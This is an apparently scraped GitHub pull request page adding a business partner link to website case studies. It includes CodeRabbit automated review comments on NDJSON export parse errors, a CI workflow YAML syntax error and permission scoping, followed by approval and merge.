Use an array for a sequence of values: [1, 2]

(parse)


[error] 21-22: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 22-23: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 23-24: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 24-25: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)

⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (4)
  • GitHub Check: e2e-tests
  • GitHub Check: unit-tests
  • GitHub Check: security-scan
  • GitHub Check: lint
🔇 Additional comments (1)
export/aposMigrations.json (1)

1-25: The file format is correct and intentional. The export_mongodb.sh script uses MongoDB's native mongoexport tool, which exports collections in NDJSON (newline-delimited JSON) format. This is the standard output format of mongoexport regardless of the .json extension. The same format is consistently used across the project (e.g., aposDocs.json follows the same pattern). No changes are required.

Likely an incorrect or invalid review comment.

Comment thread .github/workflows/code-quality.yml Outdated
Comment thread export/aposFormSubmissions.json Outdated
Comment thread export/sessions.json Outdated
@IhorMasechko
IhorMasechko force-pushed the feature/add-case-study-partner-link branch from 3ccfe74 to 3f48f58 Compare December 8, 2025 09:14

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

📜 Review details

Configuration used: CodeRabbit UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 3ccfe74 and 3f48f58.

📒 Files selected for processing (1)
  • .github/workflows/code-quality.yml (2 hunks)
🧰 Additional context used
🧠 Learnings (2)
📚 Learning: 2025-06-03T16:27:46.172Z
Learnt from: yuramax
Repo: speedandfunction/website PR: 139
File: website/jest.config.cjs:4-4
Timestamp: 2025-06-03T16:27:46.172Z
Learning: When reviewing PRs, focus suggestions on the main objectives stated in the PR description. Skip suggestions for incidental changes that are unrelated to the PR's primary purpose, especially when the user explicitly requests to stay focused on the main feature/improvement.

Applied to files:

  • .github/workflows/code-quality.yml
📚 Learning: 2025-05-26T06:19:32.209Z
Learnt from: yuramax
Repo: speedandfunction/website PR: 120
File: website/modules/asset/ui/src/index.js:43-67
Timestamp: 2025-05-26T06:19:32.209Z
Learning: When reviewing PRs focused on styling, defer functional JavaScript improvements to separate tasks to maintain clear scope separation.

Applied to files:

  • .github/workflows/code-quality.yml
🪛 actionlint (1.7.9)
.github/workflows/code-quality.yml

13-13: could not parse as YAML: mapping values are not allowed in this context

(syntax-check)

🪛 YAMLlint (1.37.1)
.github/workflows/code-quality.yml

[error] 13-13: syntax error: mapping values are not allowed here

(syntax)

🔇 Additional comments (1)
.github/workflows/code-quality.yml (1)

11-13: Reconsider top-level pull-requests: read scope.

A previous review flagged that the top-level pull-requests: read permission is overly broad and violates the principle of least privilege. Most jobs (docker-lint, unit-tests, lint, security-scan) do not require PR-level access. Consider removing it from the top level and adding it only to jobs that genuinely need it (likely sonarqube and e2e-tests).

If pull-requests: read is essential for the business-partner feature addition (per PR objectives), please clarify which jobs actually require it so permissions can be properly scoped.

Comment thread .github/workflows/code-quality.yml Outdated
@anatolyshipitz anatolyshipitz changed the title feat: add business partner link to case studies feat: add business partner link to case-studies Dec 8, 2025
@anatolyshipitz anatolyshipitz changed the title feat: add business partner link to case-studies feat: add business partner link to case studies Dec 8, 2025
anatolyshipitz and others added 4 commits December 8, 2025 11:54
Add pull request parameters to SonarQube scan
Configure SonarCloud settings in code-quality.yml

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

📜 Review details

Configuration used: CodeRabbit UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 68fbece and c498d14.

📒 Files selected for processing (1)
  • .github/workflows/code-quality.yml (2 hunks)
🧰 Additional context used
🧠 Learnings (2)
📚 Learning: 2025-06-03T16:27:46.172Z
Learnt from: yuramax
Repo: speedandfunction/website PR: 139
File: website/jest.config.cjs:4-4
Timestamp: 2025-06-03T16:27:46.172Z
Learning: When reviewing PRs, focus suggestions on the main objectives stated in the PR description. Skip suggestions for incidental changes that are unrelated to the PR's primary purpose, especially when the user explicitly requests to stay focused on the main feature/improvement.

Applied to files:

  • .github/workflows/code-quality.yml
📚 Learning: 2025-05-26T06:19:32.209Z
Learnt from: yuramax
Repo: speedandfunction/website PR: 120
File: website/modules/asset/ui/src/index.js:43-67
Timestamp: 2025-05-26T06:19:32.209Z
Learning: When reviewing PRs focused on styling, defer functional JavaScript improvements to separate tasks to maintain clear scope separation.

Applied to files:

  • .github/workflows/code-quality.yml
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (4)
  • GitHub Check: security-scan
  • GitHub Check: lint
  • GitHub Check: e2e-tests
  • GitHub Check: unit-tests

Comment thread .github/workflows/code-quality.yml
@IhorMasechko
IhorMasechko enabled auto-merge (squash) December 8, 2025 12:50

@killev killev left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good.

@IhorMasechko
IhorMasechko merged commit 85a41a0 into main Dec 8, 2025
11 checks passed
@IhorMasechko
IhorMasechko deleted the feature/add-case-study-partner-link branch December 8, 2025 14:37
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants